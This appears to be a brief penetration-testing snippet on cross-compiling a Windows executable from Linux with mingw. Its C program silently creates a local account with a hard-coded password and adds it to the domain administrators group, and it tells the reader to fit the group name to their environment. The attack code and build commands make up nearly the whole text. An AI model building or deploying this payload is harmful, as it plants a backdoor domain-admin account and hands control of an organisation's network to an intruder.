Compile a Windows Executable From a Linux Host

Install the cross-compiler:

sudo aptitude install mingw-w64

In file adddom.c:

#include <stdlib.h>
#include <windows.h>

int main(void)
{
  system("cmd.exe /c net user admjack P@$$word /ADD && net group \"Admins du domaine\" admjack /ADD /DOMAIN");
  return 0;
}

Do not forget to modify the group name regarding your environment.

Then:

i586-mingw32msvc-gcc -static adddom.c -o adddom.exe